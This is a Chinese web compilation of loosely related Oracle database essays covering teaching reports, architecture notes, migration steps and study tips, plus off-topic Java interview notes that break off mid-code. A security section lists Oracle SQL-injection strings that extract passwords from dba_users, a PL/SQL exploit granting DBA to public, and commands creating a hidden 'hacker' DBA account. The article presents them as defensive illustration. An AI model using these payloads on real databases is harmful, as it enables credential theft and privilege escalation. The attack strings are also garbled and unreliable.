oracle数据库知识总结
oracle数据库知识总结(精选13篇)
oracle数据库知识总结 第1篇
2014-2015学第一学期ORACLE教学工作总结
班级:13高软班
数据库技术是计算机科学技术中发展最快的领域之一,也是应用最为广泛的技术之一,它已经成为计算机信息系统与应用的核心技术和重要基础。所以在学习这门课时,注重学生实际操作能力,安排了理论与上机操作相结合。以下是我的工作总结:
1、课前准备:备好课。认真学习贯彻教学大纲,钻研教材。了解教材的基本思想、基本概念、结构、重点与难点,掌握知识的逻辑。
了解学生原有的知识技能的质量,他们的兴趣、需要、方法、习惯,学习新知识可能会有哪些困难,采取相应的措施。
考虑教法,解决如何把已掌握的教材传授给学生,包括如何组织教学、如何安排每节课的活动。
2、课堂上的情况。组织好课堂教学,关注全体学生,注意信息反馈,调动学生的注意力,使其保持相对稳定性。同时,激发学生的情感,使他们产生愉悦的心境,创造良好的课堂气氛,课堂语言简洁明了,课堂提问面向全体学生,注意引发学生学习的兴趣,课堂上讲练结合,布置好课外作业,减轻学生的负担。
3、上机操作情况。让学生复习操作上节课的学习内容,布置一定的作业,做到每个学生的每个SQL语句,每个操作抖完全掌握。总之,作为一名教师,教学是我的基本工作,而教与学是一个良性互动的过程,在教中学,在学中教,才能实现自己在业务上的进步与飞跃。实施素质教育对教师的素质要求更高,在今后的教育教学中,我将严格要求自己,努力工作,发扬优点,开拓进取,为教育事业奉献自己的力量。
oracle数据库知识总结 第2篇
本次实训为期两个星期,时间充裕,也给予了我足够的学习和实践的时间。在这次实训里,我了解到了数据库设计的过程和任务,对之前所学的oracle知识也起了很好的复习和巩固作用。
我们小组的选择的实训项目是《电子商城系统》,在做产品需求的时候,因为对商城系统的了解不够充分,我们在产品的功能性需求分类处的一些细节做了多次改进,通过参考网上的需求分析文档以及老师的指导,总算是顺利完成。我负责的是购物板块,幸亏我多年的网购经验,对购物流程有着深刻的理解,并积极参考小米和华为等网上商城的网站,最后也是顺利完成。
接下来是第二个重头戏——数据库设计。首先,我们的数据库原型设计使用的软件是PowerDesigner,使用也还算简单吧。数据库的实体我们进行了深入的讨论,最后也做了多次修改,主要原因还是因为我们对电子商城的了解以及对于数据库实体之间的掌握还不够。在老师的指导下也算是顺利完成了。接下来也很顺利的完成了《数据库设计说明书》等的文档编写。
Oracle数据库安全 第3篇
为什么需要oracle数据安全, 据统计截止2009年底, 据相关部门调查, 在德国741家公司中有被数据库入侵的家数高达百分之83.6, 造成直接经济损失2.8亿欧元。并按照被入侵次数按每年10%的速率增长, 受影响部门有销售部、设计部、人事部和市场部。攻击者大多是内部员工和业界竞争者。
又根据调查每个中等规模的公司, 大约需要1000左右的oracle数据库实例, 相当于300个生产数据库, 但是其中核心的数据库实例只占2%-5%, 平均每个DBA要管理30-100个数据库实例。10-20%的数据库是过期的版本, 80-90%的数据库运行相同的版本。
一般数据库应用中我们采用的结构为客户端、中间件和数据库服务器三层结构。即使这样我们还是有漏洞, 如没有统一的认证系统, 不能定时的更换密码, 在杀毒和防木马软件方面财力投入不够, 管理上缺乏安全意识等。
二、问题与解决方式
三、黑客攻击举例
1、弱密码攻击举例:
黑客可以通过命令c:>checkpwd system/secretpw@ora10104local password_file.txt进入本地文件glogin.sql和login.sql文件, 还可以通过sqlplus sys@ora10g4as sysdba连接glogin.sql文件, 从而达到创建用户和修改提升权限的目的。
2、利用系统漏洞:
在url_inaddr中默认有授权公共账户的域名解析, select utl_inaddr.get_host_name (127.0.0.1’) fromdual;通过修改错误信息得到系统账户, select url_addr.get_host_name ( (select username||=’||password from dba_users where rownum=1) ) from dba_users where rownum=1) ) from dual;从而得到系统密码。
3、通过SQL注入攻击:
http://ec.*****/prelex/detail_dossier_real.cfm?CL=en&Dosld=124131||url_inaddr.get_host_name ( (select%20’SID=’||global_name%20from%20global_name) ) , 这样可以得到SID, 同样道理通过改上述字段中的global_name为all_users可以得到相关用户信息。
4、PL/SQL入侵:
介绍一个典型的PL/SQL入侵create or replace function F1 return number authid current_user as pragma autonomous_transaction;begin execute immediategrant dba to public’;commit;return 1;end;/Expolit exec sys.kupw$WORKER.main (x’, ’YY’’and1=user1.f1–mytag12’) ;最后通过relogin或者运行set role dba变为DBA。 (create user hacker identified by hacker;crant dba to hacker;一些经验老道的黑客会隐藏自己的身份update sys.user$set datats#=777;
Commit;测试sqlplus hacker/hacker
四、解决方案
1、测试打开2-3个典型数据库
2、尝试定位问题所在
3、修复问题
4、安装补丁修改策略
5、扫描更多的数据库
五、介绍几款扫描工具
1、Sentrigo Hedgehog (图形加命令行的高级扫描漏洞软件)
2、RDSrepscan (容易上手的网页界面数据库扫描软件)
总结
1、数据库安全是一个循序渐进的过程, 它需要不断地修复和查找漏洞。
2、需要设置防火墙和入侵检测系统辅助管理员实施。
oracle数据库迁移 第4篇
摘 要:本文介绍了Oracle数据库基于Linux系统迁移的研究问题。在数据库领域一直处于领先地位的Oracle数据库以其良好的可移植性、可靠性和高效性,倍受各级用户的推崇和喜爱。随着Oracle数据库的不断更新和发展,其使用用户的群体也在不断的增加,因此对Oracle数据库的存储迁移技术的研究在国内外如雨后春笋般不断发展。
关键词:oracle,数据迁移,跨平台
中图分类号: TP391 文献标识码: A 文章编号: 1673-1069(2016)25-195-2
0 引言
伴随着IT行业的迅速发展,IT系统中数据的安全性,已经是对企业运营产生了重大影响。而数据库的安全迁移也为IT系统的可持续运行和数据安全提供一道保护屏障。而且近年来频繁出现的自然灾害或者突发事件也让越来越多的人们意识到,原有的数据存储方式已经无法满足企业的需要。本文正是从数据库迁移的实际操作中总结整理而成。
1 oracle数据库文件构成
数据库是一种物理的存储结构,它是由多种物理文件组成的,在Oracle数据库系统中分为,核心文件和非核心文件两大类[1]。其中核心文件由数据文件,控制文件,日志文件,参数文件组成,非核心文件由密码文件,告警日志文件,各种跟踪文件组成。
控制文件:控制文件是一个二进制的文件,它描述了数据库当前的物理状态,记录了RMAN备份的元数据。控制文件包含有数据库的名称、数据库的创建信息、表空间的信息、数据文件的状态、日志文件的信息、备份的信息、检查点的信息等。
数据文件:,一个数据库中一定至少有一个数据文件(system01.dbf),如果一个数据库存在多个数据文件,应该分别把它们存放在不同的磁盘上,这样做不仅可以提高数据的存取速度,有利于提高数据库的性能,而且还能防止数据文件同时被损坏,实现高度容灾。
日志文件:数据库日志文件包括归档日志和非归档日志,记录了数据库的所有修改信息,归档日志会在数据库切换日志时,备份历史日志,日志记录的是数据库改变的信息、因此当数据库损坏时可以通过日志文件实现数据库的完全恢复、不完全恢复,而非归档日志不会备份历史日志,只能恢复到数据库最后一次备份时的状态[2]。
临时文件:创建数据库对象的时候指定的是使用表空间,一个表空间至少包含一个数据文件,临时文件是临时表空间对应的数据文件,并不是已用完就被删除的,而是指这个文件存储的对象是临时存在的对象。临时文件主要用于大量的排序的时候,如果不能在数据库的内存中做排序,就会把临时文件作为中转。
参数文件:参数文件是记录数据库系统配置的文件,每次数据库一启动,Oracle就会自动地从参数文件中读取系统参数的设置来配置并启动数据库。如内存的大小分配,此次启动可以打开的进程数和会话数等。
2 Oracle数据库迁移的迁移方案
oracle数据库状态分类:
nomount:此状态可以读取初始化参数文件,启动实例,可以进行数据库的创建。
mount:数据库维护状态,读取控制文件。
open: 打开数据文件,日志文件,是数据库可以对全体用户提供服务了。
数据库物理迁移过程大体可分为以下四个步骤:
第一步:加载初始化文件
oracle启动后,数据库默认会读取一个二进制的初始化文件spfile
第二步:加载控制文件,保证在初始化文件中,控制文件的路径正确
在初始化文件中定义控制文件的位置,在确保控制文件路径正确的情况下,才能对控制文件进行加载,其命令是alter database mount。
第三步:加载数据库,包括重做日志文件
加载控制文件之后,执行命令alter database open对数据库进行开启,整个数据库启动过程完成了。
第四步:启动数据库成功之后,就说明迁移成功,可以观察数据是否丢失,然后启动监听和配置文件等。
3 Oracle数据库迁移具体实践
下面以把数据库从文件系统迁移到ASM磁盘组为例进行演示步骤:
首先,ASM是把多个磁盘组织为一个磁盘组,作为Oracle的逻辑卷管理器,利用ASM技术可以把数据均匀分布在这些磁盘上来解决从文件区到物理磁盘块的映射问题。这种设计除了定位文件区非常快速之外,还在增加或删除磁盘时有所帮助,因为文件区的位置不需要调整[3]。
把数据库从文件系统迁移到ASM磁盘组主要是把数据库的控制文件,数据文件和日志文件分别放在不同的磁盘组上,实现对这些文件的一个冗余放置,还简化了对数据文件的管理。
3.1 迁移数据库
①迁移数据库前先在RMAN下备份数据库,设置系统冗余度,并打开优化器和控制文件的自动备份功能
②创建迁移的控制文件存放的目录
③修改参数文件把控制文件的默认位置修改到ASM磁盘组上,然后用Pfile来生成spfile文件
SQL> create pfile from spfile;
④利用RMAN工具恢复控制文件,将数据库启动到mount状态;加载控制文件,如果出现错误,就说明控制文件所在的路径和参数文件路径不一致,要修改初始化参数,文件中控制文件的参数,然后重新加载。
4 总结与展望
数据库管理技术是现今社会中信息科学与技术的重要组成部分,数据库迁移技术的研究保证了数据安全以及高效的存储[4][5]。在实际操作过程中,Oracle数据库基于Linux系统的迁移过程中会出现各种各样的情况,如果想要安全完整的迁移数据库,一定要先做好备份,然后反复的实验验证,最终才能保证数据库完整安全的迁移。
参 考 文 献
[1] 张敏.数据库安全研究现状与展望[J].中国科学院院刊,2011.03.
[2] 赵钦,周丹.政府办公自动化信息系统数据迁移解决方案[J].广西科学院学报,2008.24.
[3] 段卫国,李俊春.Oracle 数据库数据迁移技术研究[J].信息技术,2015.8.
[4] Kathy Rich.Oracle Data Pump,10g Release 2 (10.2)[M].Oracle Database Utilities, 2005.
oracle数据库知识总结 第5篇
以下的文章主要是介绍在Oracle数据库学习中的六条经验总结,其实想学好Oracle数据库并不是一件很困难的事情,很多人都认为Oracle数据库的体系过于庞大,在学习的过程中摸不到头绪,以下的文章就会给你提供相关的解答方法。
1、如果有一定的数据库基础知道SQL是怎么回事,即使写不出来简单的SQL,但可以看动它们,你就可以跳到2。否则请先看一下数据库基础和SQL语言,不需要很深,更不需要去记忆那些复杂的SQL命令,这些可以留在以后边应用边学习、记忆。
2、要想学好Oracle数据库,首先要学习ORACLE的体系结构,现在你不需要深入理解它们,但要分清几个关键的概念:instance&database, memory structure,process&those files,such as data file, control file,init parameter file etc以及database ,tablespace,data file和tablespace,segmnet,extent & block它们之间的关系。
当然还要分清undo tablespace & redo log file等,对于很多初学者来说,能够对这些概念有个较为清晰的认识并不是一件容易的事,而这些并非Oracle的全部。
3、是有关ORACLE的一些基本概念,下面要学习的是一些简单的的实际操作,就是如何去管理ORACLE数据库,当然不是管理全部的ORACLE。在此过程中你将对SQL和ORACLE体系结构有个更深入的了解。
4、到了这一步你基本上算是初步掌握了ORACLE,下面将要根据你的方向来具体学习其它的ORACLE知识了。如果你是开发人员,则需要更多地去学习PL/SQL以及DEVELOPER,而这将是一门新的课程。如果你是一名DBA,请继续。
5、现在你可以根据自己的实际情况,进行有选择的学习,也就是说下面的内容没有特别顺序要求。可以选择深入学习ORACLE数据库的管理、备份与恢复、性能调整、网络等。当然在学习这些知识的过程中,如果有实际的工作更好,这样你可以在实际中成长,学会TROUBLE SHOOTING。
数据库oracle笔试 第6篇
我在考场上写的n=5, i=2; 运行得出结果却为9. 分析了一下得出原因在于: 如果n<5的话,那么它会从其自身起一直到5都会执行j++这条语句, 因为此代码片段中并没有使用 break。
n与i有多种组合值, 如(1,1)、(4,1)和(5,1)等都可以。
3、复习JAVA的 “内部类”章节。
4、复习JAVA的` “反射”章节。
5、温习操作系统 部分的知识。
6、数组问题:
如我声明 int [] a = new int[1] , 那么a[0]的默认值就为0。 我起初理解错误了, 我认为如此声明只是为数组开辟了空间而已, 在其空间上默认值为NULL。
7、关于启动 gc 的方法:
System.gc 和 RunTime()类的 gc() 方法, 但是即使调用了前面的方法也不保证一定会进行回收。
拓展之:
a. GC并不是定期来回收你的垃圾内存,即是根据需要来回收。
b. GC的回收是因为:它认为你的系统已经开始内存紧张(这个就是jvm的神奇)
c. 即使GC开始准备清理你的垃圾内存,但是如果该内存的引用还存在(不等于null), 这个时候GC仍然无能为力!
d、RunTime类的 public static Runtime getRuntime() 返回: 与当前 Java 应用程序相关的 Runtime 对象。
8、int i=10, double e = 10.0; 判断(i==e)、(i==10.0)的真假。
我认为一个是int类型,一个是double类型,它们分属不同的类型, 所以我认为其是错误的, 然而经运行测试发现是正确的。
9、public static void main(String[] args){
StringBuffer str1 = new StringBuffer(“a”);
StringBuffer str2 = new StringBuffer(“b”);
ORACLE数据库学习心得 第7篇
一个好的程序,必然联系着一个庞大的数据库网路...今年我们学习了 oracle数据库这门课程,起初的我,对这个字眼是要多陌生有多陌生,后来上课的时候听一会老师讲课,偶尔再跟上上机课,渐渐的学会了不少东西,但我感觉,我学到的仍是一些皮毛而已,怀着疑惑和求知的心态,我在网上搜索了关于 oracle数据库的一些知识。
1.ORACLE的特点: 可移植性 ORACLE采用C语言开发而成,故产品与硬件和操作系统具有很强的独立性。从大型机到微机上都可运行ORACLE的产品。可在UNIX、DOS、Windows等操作系统上运行。可兼容性 由于采用了国际标准的数据查询语言SQL,与IBM的SQL/DS、DB2等均兼容。并提供读取其它数据库文件的间接方法。
可联结性 对于不同通信协议,不同机型及不同操作系统组成的网络也可以运行ORAˉCLE数据库产品。
2.ORACLE的总体结构
(1)ORACLE的文件结构 一个ORACLE数据库系统包括以下5类文件:ORACLE RDBMS的代码文件。
数据文件 一个数据库可有一个或多个数据文件,每个数据文件可以存有一个或多个表、视图、索引等信息。
日志文件 须有两个或两个以上,用来记录所有数据库的变化,用于数据库的恢复。控制文件 可以有备份,采用多个备份控制文件是为了防止控制文件的损坏。参数文件 含有数据库例程起时所需的配置参数。
(2)ORACLE的内存结构 一个ORACLE例程拥有一个系统全程区(SGA)和一组程序全程区(PGA)。
SGA(System Global Area)包括数据库缓冲区、日志缓冲区及共享区域。
PGA(Program Global Area)是每一个Server进程有一个。一个Server进程起动时,就为其分配一个PGA区,以存放数据及控制信息。
(3)ORACLE的进程结构ORACLE包括三类进程: ①用户进程 用来执行用户应用程序的。
②服务进程 处理与之相连的一组用户进程的请求。
③后台进程 ORACLE为每一个数据库例程创建一组后台进程,它为所有的用户进程服务,其中包括: DBWR(Database Writer)进程,负责把已修改的数据块从数据库缓冲区写到数据库中。LGWR(Log Writer)进程,负责把日志从SGA中的缓冲区中写到日志文件中。
SMON(System Moniter)进程,该进程有规律地扫描SAG进程信息,注销失败的数据库例程,回收不再使用的内存空间。PMON(Process Moniter)进程,当一用户进程异常结束时,该进程负责恢复未完成的事务,注销失败的用户进程,释放用户进程占用的资源。ARCH(ARCHIVER)进程。每当联机日志文件写满时,该进程将其拷贝到归档存储设备上。另外还包括分布式DB中事务恢复进程RECO和对服务进程与用户进程进行匹配的Dnnn进程等。
3.ORACLE的逻辑结构
构成ORACLE的数据库的逻辑结构包括:(1)表空间
(2)5种类型的段(segment)
①数据段;②索引段;③回滚(rollbock)段;④临时段;⑤自举(bootstrap)段。
段的分配单位叫范围(Extent)
表空间(Tablespace)一个数据库划分成的若干逻辑部分称为表空间。一个数据库可以有一个或多个表空间,初始的表空间命名为SYSTEM,每一个逻辑表空间对应于一个或多个物理文件。DBA使用表空间做以下工作: 控制数据库对象,如表、索引和临时段的空间分配。为数据库用户设置空间配额。
利用个别表空间的在线或离线,控制数据的可用性。后备或恢复数据。
通过分配空间,以改进性能。
在每个数据库中都存在SYSTEM表空间,它在建立数据库时自动建立。在该表空间中,包含数据库的数据字典,其中存储全部数据库对象的名字和位置。SYSTEM表空间总是在线的,像其它表空间一样,可以通过增加新的数据库文件来扩大。一个表空间可包含许多表和索引。但一个表和索引不能跨越表空间,可跨越组成表空间的文件。在DB的打开的情况下,DBA利用ALTER TABLESPACE语句,可以实施表空间的在线或离线。SYSTEM表空间必须在线。表空间离线有下列原因: 一般为了使部分数据库不能使用,而允许正常存取数据库其余部分。执行表空间离线备份。
一个离线的表空间,不能被应用用户读或编辑。
可以增加数据文件扩大已有的表空间,也可增加新的表空间使数据库容量增大,或分配空间给某个应用。使用ALFER TABLESPACE ADD FILE语句将另一个数据文件加入到已存在表空间中。使用CREATE TABLESPACE语句可建立一个新的表空间。段(segment)表空间中的全部数据存储在以段划分的数据库空间中。一个段是分配给数据库用于数据存储的范围的集合。数据可以是表、索引或RDBMS所需要的临时数据。段是表空间的下一个逻辑存储的级别。一个段不能跨越一个表空间,但可跨越表空间内的文件。一个数据库最多需要五种段类型: 数据段 一个包含一个表(或聚集)的全部数据,一个表(或聚集)总有一个单个数据段。
索引段 一个索引段包含对一个表(或聚集)建立的一个索引的全部索引数据。一个表可以有一个、多个或者没有索引段,取决于它所拥有的索引个数。一个聚集必须至少有一个索引段,即在聚集码上建立聚集索引。
回滚段 每个DB有一个或多个回滚段。一个回滚段是DB的一部分,它记录在某一情况下被撤消的动作。回滚段用于事务控制和恢复。
临时段 在处理查询时,ORACLE需要临时工作空间,用于存储语句处理的中间结果,这个区称为临时段。
自举段 自举段在SYSTEM表空间中,在数据库建立时建立。它包括数据字典定义,在数据库打开时装入。
4.用户数据库对象
由用户建立的对象驻留在表空间中,含有真正的数据。数据库对象有表、视图、聚集、索引、伪列和序号生成器。
(1)聚集(Cluster)聚集是存储数据的一种可选择的方法。聚集包括存储在一起的一组表,它们共享公共列并经常一起使用。由于内容相关并且物理地存储在一起,存取时间得到改进,存储空间可以减少。聚集是一种优化措施。
聚集对性能的改进,依赖于数据的分布和SQL操作的内容。特别是使用聚集对连接非常有利。可以明显地提高连接的速度。建立聚集命令的基本格式: SQL>CREATE CLUSTER〈聚集名〉(列定义[,…]);利用聚集建立表命令基本格式: SQL>CREATE TABLE〈新表名〉(列定义[,…]CLUSTER〈聚集名〉(聚集列);在聚集码上必须建立一个聚集索引,对于每一数据块上每个聚集码值有一索引项。这个索引必须在DML语句对聚集表操作前建立。建立索引的语句是:CREATE INDEX索引名ON CLUSTER聚集名;(2)序号生成器 序号(SEQUENCE)生成器为表中的单列或多列生成顺序号。利用序号可自动地生成唯一主码。使用SQL语句定义序号,给出一些信息(如序号名、是升序或降序、每个序号间的间隔和其它信息)。所有序号存储在数据字典表中。
所有序号定义存储在数据字典的SEQUENCE表中。用户可以通过字典视图
USER-SE-QUENCES、ALL-SEQUENCES
和DBA-SEQUENCES查询和存取。建立序号生成器的语句是: CREATE SEQUENCE序号生成器名 其它选项。
一旦序号生成器S被定义。可用S.Currval来引用S序号生成器的当前值。用S.nextval产生下一个新的序号并加以引用。
(3)伪列 伪列的行为像表的一列,但不真正存在于表中,在查询时可引用伪列,但伪列不能插入、删除或修改。
5.数据字典
数据字典ORACLE RDBMS最重要的部分之一。数据字典含有一组系统定义的表,只能读,是关于数据库的引用指南。它可提供以下信息:ORACLE用户的用户名;每个用户被授予的权限和角色;实体的名字和定义;完整性约束 为数据库实体分配的空间;通用的数据库结构;审计信息;触发子程序等的存储。数据字典是以表和视图构成的,像其它数据库数据一样,可用SQL语言查询数据字典。
数据字典在DB建立时建立。每当DB进入操作,数据字典就由ORACLE RDBMS负责修改。数据库建立时有两个默认DBA用户:SYS、SYSTEM。SYS持有基本表中的数据。数据字典包含一组基表和相关的视图,可分为以下几类: 类
描 述
DBA-××× 只有DBA可存取的视图,给出数据库中定义的任何实体的信息
USER-××× 对任何用户可用的视图,给出他们自己的实体的信息
ALL-×××
对任何用户可用的视图,给出用户可存取的所有实体的信息
其中×××代表表名或视图名
下面列出的是一些常用的表或视图的名称。(1)DTAB 描述了组或数据字典的所有表。(2)TAB 用户建的所有基本表、视图和同义词。(3)COL 用户创建基本表的所有列的信息。
(4)SYNONYMS 用户可存取的同义名词、专用名和公用名。(5)CATALOG 用户可存取的表、视图、同义词、序列。(6)CONSTRAINTS 用户可存取的约束。(7)INDEXES 用户可存取的表和聚集的序列。(8)OBJECTS 用户可存取的对象。(9)TABLES 用户可存取的表。(10)USERS 查看当前全部用户。(11)VIEWS 查看用户可存取的视图。
(12)SYSTABAUTH 用户对数据对象的使用权限。可以用SQL>SELECT*FROM〈字典表名或视图名〉WHERE〈条件〉来读取有关信息。
可以用SQL>DESCRIBE〈表名〉来查看表的结构定义。但是数据库字典的结构不可改。用DESCRIBE命令还可以查看视图及过程的定义。
6.ORACLE的SQL、PL/SQL与SQL*PLUS 作为ORACLE数据库核心的SQL语言是ANSI和ISO的标准SQL的扩充。用来存储、检索和维护数据库中的信息,并控制对数据库的存取事务。由于RDBMS执行SQL语句时,是一次只执行一条语句,它是非过程化的。这就使得单条的SQL语句使用方便,功能强大。用户只需说明操作目的,不必关心具体操作的实现方法。
但在实际数据库应用开发中,往往要依据前一步对数据库操作的结果或上一个事务提交的情况来确定下一步的操作。故ORACLE推出了一种PL/SQL工具,它扩充了SQL语句,使之具有可进行过程化编程的能力,如循环、分支功能。PL/SQL可支持变量和常量的使用。例如在SELECT查询语句的where子句中可以使用变量来书写条件表达式。SQL*PLUS是ORACLE用来存储、查询、操纵、控制和报告数据库中信息的一个交互式工具。它是一种集编辑、调试、运行于一体的开发环境。在SQL*PLUS的这种运行环境下,既可以使用SQL命令、PL/SQL语句、及SQL*PLUS自己提供的命令,又可以运行由上述三类命令(或语句)编辑而成的命令文件。SQL*PLUS提供的附加命令主要用来编辑、运行上述三类命令及命令文件和对查询结果进行格式化输出等功能。
7.数据库系统的管理
ORACLE作为一个大型的数据系统,通常包含很多用户的数据。在应用开发过程中,有许许多多的各类人员进行开发和应用。所以必须要求有人对数据库系统进行临时管理,并进行数据的备份等工作。这种人被称为数据库管理员(Data Base Administrator)。他们必须理解数据库系统管理,清楚数据库包含的数据内容、运行状况等。
一般说来,DBA不是指具体的人,而是指对数据库可以行使DBA特权的用户。DBA具有如下责任:(1)ORACLE服务器和客户工作站软件的安装和升级;(2)创建基本的数据库存储结构(表空间);(3)创建基本的数据库客体(表、视图、索引);(4)修改数据库结构;(5)给用户授权,维护系统安全;(6)控制和管理用户对数据库的访问;(7)监视和优化数据库的性能;(8)计算数据库信息的后备和恢复;(9)后备和恢复数据库;(10)构造ORACLE服务器,如创建数据库链、客体同义词等。而应用开发人员须完成:(1)应用程序设计;(2)应用的数据库结构设计和修改;(3)为DBA提供必要的信息;(4)完成应用程序的开发。
看了许多关于ORACLE的知识论坛,总算是对ORACLE有个整体的认识,不仅仅是拘泥于课堂上学习的知识而已,虽然自己对ORACLE学习并不是多么的透彻,但是总归多接触点新的东西总是好的。
Oracle数据库使用心得 第8篇
092909 谢弘毅
经过助教对oracle和sybase数据库的讲解后,我下载使用和体验了这两个数据库,但主要的还是使用了Oracle数据库,经过一段时间的使用,对其使用有了一定的心得体会,并且通过阅读资料对其现在的前景状况有了一定的了解。
【选择Oracle的原因】
(1)在Gartner/Dataquest报告中Oracle依然在主流操作系统Unix和Linux, Windows NT/2000/XP上的关系数据库市场上占据绝对的领先地位,在UNIX上占63%, Windows+Unix上占49.9%。在关系型数据库市场(包括AS/400,Mainframe),Oracle以39.8%仍然处于领先地位。
(2)Oracle数据库依然是Fortune 100公司的首选数据库,其中51%的Fortune 100公司选用Oracle Database作为构建企业的传统应用和电子商务平台。
(3)Oracle数据库与Sybase数据库相比,无论从体系架构、并行支持、完整性控制等各方面均有很大的优势。
【Oracle相比于sybase的优势】(1)体系结构的比较
Oracle采用多线索多进程体系结构,直接在内核中支持分布式数据库操作、多线索处理、并行处理以及联机事务处理等。Sybase采用单进程多线索体系结构,其核心是SQL Server
(2)多线索多进程与单进程多线索的比较
Oracle和Sybase都采用多线索。Oracle多服务器进程结构,能实现数据库事务的并行处理,提高并发事务处理的响应速度。并且多服务器结构具有非常灵活的扩充性,当硬件平台处理能力提高时,服务器进程的个数也能随之增加,数据库性能也随之提高。Sybase采用单进程多线索方式。当并发用户数达到一定的数量时,会引起系统处理性能大大下降,和服务器进程瓶颈及死锁等现象;同时系统的可扩展余地非常狭窄。
(3)联机事务处理
Oracle的多线索技术在相同硬件环境下,所支持的用户数是其他数据库 系统的5至10倍。
【我对Oracle一些概念的理解】
(1)ORACLE SERVER
一个运行着的ORACLE数据库就可以看成是一个ORACLE SERVER,该SERVER由数据库(Database)和实例(Instance)组成,在一般的情况下一个ORACLE SERVER包含一个实例和一个与之对应的数据库。
一系列物理文件(数据文件,控制文件,联机日志等)的集合或与之对应的逻辑结构(表空间,段等)被称为数据库,简单的说,就是一系列与磁盘有关系的物理文件的组成。ORACLE内存结构和后台进程被成为数据库的实例,一个实例最多只能安装(Mount)和打开(Open)在一个数据库上,负责数据库的相应操作并与用户交互。
实例与数据库的关系如下图所示:
图一 ORACLE SERVER
(2)ORACLE内存结构(Memory structure)Oracle内存结构主要可以分共享内存区与非共享内存区,共享内存区主要包含SGA(System Global Area),非共享内存区主要由PGA(Program Global Area)组成,可以用如下图形表示。
图二 ORACLE MEMOERY STRUCTRUE
(3)后台进程(Background process)后台进程是Oracle的程序,用来管理数据库的读写,恢复和监视等工作。Server Process主要是通过他和user process进行联系和沟通,并由他和user process进行数据的交换。在Unix机器上,Oracle后台进程相对于操作系统进程,也就是说,一个Oracle后台进程将启动一个操作系统进程;在Windows机器上,Oracle后台进程相对于操作系统线程,打开任务管理器,我们只能看到一个ORACLE.EXE的进程,但是通过另外的工具,就可以看到包含在这里进程中的线程。
Oracle系统有5 个基本进程他们是:
DBWR(数据文件写入进程):将修改过的数据缓冲区的数据写入对应数据文件,维护系统内的空缓冲区。 LGWR(日志文件写入进程):将重做日志缓冲区的数据写入重做日志文件。
SMON(系统监护进程):工作主要包含:清除临时空间,在系统启动时,完成系统实例恢复,聚结空闲空间,从不可用的文件中恢复事务的活动,OPS中失败节点的实例恢复等。
PMON(用户进程监护进程):主要用于清除失效的用户进程,释放用户进程所用的资源。
CKPT(检查点进程,同步数据文件, 日志文件,控制文件):同步数据文件,日志文件和控制文件,由于DBWR/LGWR的工作原理,造成了数据文件,日志文件,控制文件的不一至,这就需要CKPT进程来同步。CKPT会更新数据文件/控制文件的头信息。
(4)ORACLE的物理结构 1)数据文件
每一个ORACLE数据库有一个或多个物理的数据文件(data file)。一个数据库的数据文件包含全部数据库数据。逻辑数据库结构(如表、索引)的数据物理地存储在数据库的数据文件中。数据文件有下列特征:
一个数据文件仅与一个数据库联系。 一旦建立,数据文件不能改变大小
一个表空间(数据库存储的逻辑单位)由一个或多个数据文件组成。
数据文件中的数据在需要时可以读取并存储在ORACLE内存储区中。例如:用户要存取数据库一表的某些数据,如果请求信息不在数据库的内存存储区内,则从相应的数据文件中读取并存储在内存。当修改和插入新数据时,不必立刻写入数据文件。为了减少磁盘输出的总数,提高性能,数据存储在内存,然后由ORACLE后台进程DBWR决定如何将其写入到相应的数据文件。2)日志文件
每一个数据库有两个或多个日志文件(redo log file)的组,每一个日志文件组用于收集数据库日志。日志的主要功能是记录对数据所作的修改,所以对数据库作的全部修改是记录在日志中。在出现故障时,如果不能将修改数据永久地写入数据文件,则可利用日志得到该修改,所以从不会丢失已有操作成果。
日志文件主要是保护数据库以防止故障。为了防止日志文件本身的故障,ORACLE允许镜象日志(mirrored redo log),以致可在不同磁盘上维护两个或多个日志副本。
日志文件中的信息仅在系统故障或介质故障恢复数据库时使用,这些故障阻止将数据库数据写入到数据库的数据文件。然而任何丢失的数据在下一次数据库打开时,ORACLE自动地应用日志文件中的信息来恢复数据库数据文件。3)控制文件
每一ORACLE数据库有一个控制文件(control file),它记录数据库的物理结构,包含下列信息类型:
数据库名;
数据库数据文件和日志文件的名字和位置; 数据库建立日期。
为了安全起见,允许控制文件被镜象。
每一次ORACLE数据库的实例启动时,它的控制文件用于标识数据库和日志文件,当着手数据库操作时它们必须被打开。当数据库的物理组成更改时,ORACLE自动更改该数据库的控制文件。数据恢复时,也要使用控制文件。
【我对Oracle图形界面使用心得】
Oracle数据库是一个大型系统,具有强大的数据定义、操纵、组织和存储和维护等管理功能,还具有一定的数据通信接口功能,且分有图形操作界面和文本操作界面。听老师说学习数据库技术就是要学习其语言,熟悉掌握文本操作能有效提高数据库技术。但作为一个初次与实体数据库接触的学生,我更喜欢图形操作界面。在几次尝试中我有以下体会: 【优点】
(1)图形界面给人的第一印象就是直观,相比起纯语言的模式,图形界面能更好的体现你的操作。因为学习数据库以来,老师所讲解的都是一些查询语言,和命令行之类的语言的知识。而通过直观的图形界面,使我数据库的基本结构(物理存储结构、逻辑存储结构)有了更为深刻的了解体会,看到了oracle数据库的一些优秀的特性。和一些优秀的操作功能。
(2)使用图形界面能够更加快捷且准确的行使数据库的各种操作。因为oracle数据库支持图形等操作,使得一些需要用SQL语句或是命令行的操作可以通过简单的拖放点击图形即可完成,这一方面减少了错误的发生,一方面也简化了工作任务。
(3)图形操作界面包含了语句操作的所有功能,而且还能通过教程或是文档获得帮助,这使得你能在使用的过程中克服一些困难。最重要的是,在图形界面的使用过程中你可以直观清晰的看到各种操作产生的结果,加深你对数据库中各种关系的理解。
【缺点】
(1)使用图形界面不能做到像语言命令操作的多变性,一部分操作通过语言能够简单化,例如对于很多对象的查询和修改,就比较适合用语言操作,这体现了图形界面操作的局限性。
(2)图形界面所占用系统资源大,不利于多用户的并行操作。也减低了系统的处理能力。最关键的是图形界面不容易维护和修改对象(3)无逻辑
图形操作是一个非结构化的操作集合,先后顺序完全掌握在操作者手中。这种操作过程很容易出错,而文本操作着可以利用语句有效控制。
【总结】
改善Oracle的索引数据库 第9篇
当我们使用CREATE INDEX来创建索引时,Oracle提供了很多参数来改善创建索引的速度、索引所占用的空间和索引树的层次。
1、速度因素
PARALLEL选项:当创建索引时,Oracle首先会进行全表扫描来收集符号键和ROWID对,而PARALLEL选项允许多处理器并行扫描表,这样就会加速索引的创建过程,
一般推荐的PARALLEL值为CPU数减1。
